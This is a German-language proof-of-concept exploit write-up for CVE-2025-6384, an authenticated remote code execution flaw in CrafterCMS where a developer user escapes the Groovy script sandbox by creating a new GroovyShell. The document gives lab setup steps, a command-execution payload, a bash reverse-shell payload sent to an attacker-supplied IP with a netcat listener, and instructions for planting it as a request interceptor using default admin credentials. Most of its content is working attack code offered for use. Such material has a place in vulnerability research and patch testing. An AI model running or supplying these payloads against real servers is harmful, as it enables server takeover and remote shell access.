
PoC-Exploit für eine authentifizierte RCE in CrafterCMS mittels Groovy-Sandbox-Bypass (CVE-2025-6384)
Ein Proof of Concept für eine authentifizierte Remote Code Execution-Schwachstelle in CrafterCMS.
Ein authentifizierter Benutzer mit Entwicklerrechten kann die Groovy-Skript-Sandbox in Crafter Studio umgehen, um eine Remote Code Execution (RCE) zu erreichen. Die Sandbox blockiert nicht die Instanziierung einer neuen GroovyShell, die verwendet werden kann, um eine neue, uneingeschränkte Ausführungsumgebung zu erstellen.
Sie können schnell eine angreifbare CrafterCMS-Instanz zum Testen bereitstellen, indem Sie die offiziellen Docker Compose-Dateien verwenden.
Klonen Sie das docker-compose-Repository von CrafterCMS:
git clone https://github.com/craftercms/docker-compose.git
Navigieren Sie zum Authoring-Umgebungsverzeichnis:
cd docker-compose/authoring
Starten Sie die Container. Dies lädt die erforderlichen Images herunter und startet den CrafterCMS-Stack.
docker-compose up
(Hinweis: sudo kann je nach Docker-Installation erforderlich sein.)
Warten Sie, bis die Dienste vollständig initialisiert sind. Sie können auf Crafter Studio unter http://localhost:8080/studio zugreifen.
adminadminWährend die Sandbox direkte Ausführungsmethoden korrekt blockiert, erlaubt sie die folgende Payload, die eine neue, nicht gesandboxte Groovy-Shell erstellt.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Ihr Befehl hier
def result = shell.evaluate("'''${command}'''.execute().text")
// Die Ausgabe wird in den Server-Logs gedruckt
System.err.println("[RCE-PoC] " + result)
Diese Payload demonstriert vollständige RCE durch die Einrichtung einer Reverse Shell zurück zu einem angreifergesteuerten Rechner.
Starten Sie auf Ihrem Rechner einen Listener (z. B. mit netcat), um die eingehende Verbindung zu empfangen:
nc -lvnp 4444
Verwenden Sie das folgende Groovy-Skript als Ihre Payload. Denken Sie daran, <YOUR_IP> und <YOUR_PORT> durch die IP-Adresse und den Port Ihres Listeners zu ersetzen.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Oder <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Verwenden Sie dreifache Anführungszeichen, um die Befehlszeichenkette einfach zu handhaben
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse-Shell-Payload ausgeführt.")
Melden Sie sich bei Crafter Studio (http://localhost:8080/studio) mit den Standard-Anmeldedaten (admin / admin) an.
Navigieren Sie zu Site Config -> Scripts.
Klicken Sie unter dem Abschnitt "Groovy Scripts" auf Create/Edit Script.
Wählen Sie einen Skripttyp aus, der ausgeführt wird, z. B. Request Interceptor.
Fügen Sie die PoC-Payload in den Skripteditor ein und speichern Sie sie.
Lösen Sie das Skript aus, indem Sie eine beliebige Seite auf der Website besuchen (z. B. http://localhost:8080).
Überprüfen Sie die Standard-Fehlerlogs des Servers, um die Befehlsausgabe zu sehen.
docker-compose logs -f crafter
Erwartete Ausgabe:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
netcat-Listener. Sie sollten eine Shell-Sitzung vom Container erhalten.

Dieses Material dient nur zu Bildungs- und Forschungszwecken. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Informationen verursacht werden.